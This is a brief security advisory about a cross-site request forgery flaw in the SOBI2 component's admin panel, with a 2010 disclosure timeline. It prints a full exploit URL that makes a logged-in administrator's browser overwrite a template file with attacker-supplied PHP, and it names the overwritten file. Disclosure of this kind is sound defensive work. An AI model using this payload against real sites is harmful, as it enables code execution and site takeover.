SOBI2's admin panel doesn't explicitly check for _POST requests, nor does it have a nonce.

http://[victim]/administrator/index.php?stpl=default&returnTask=editTemplate&task=saveConfig&option=com_sobi2&editing=config&templateContent=[URL-Encoded PHP]

Successful exploitation of this exploit requires a site administrator to visit a malicious URL while logged in to the backend.

The location of the overwritten file in this case is components/com_sobi2/templates/default/sobi2.details.tmpl.php

Timeline

• Vulnerabilities Discovered: 1 October 2010
• Vendor Notified: 1 October 2010
• Vendor Response: 1 October 2010
• Update Available: 4 October 2010
• Disclosure: 4 October 2010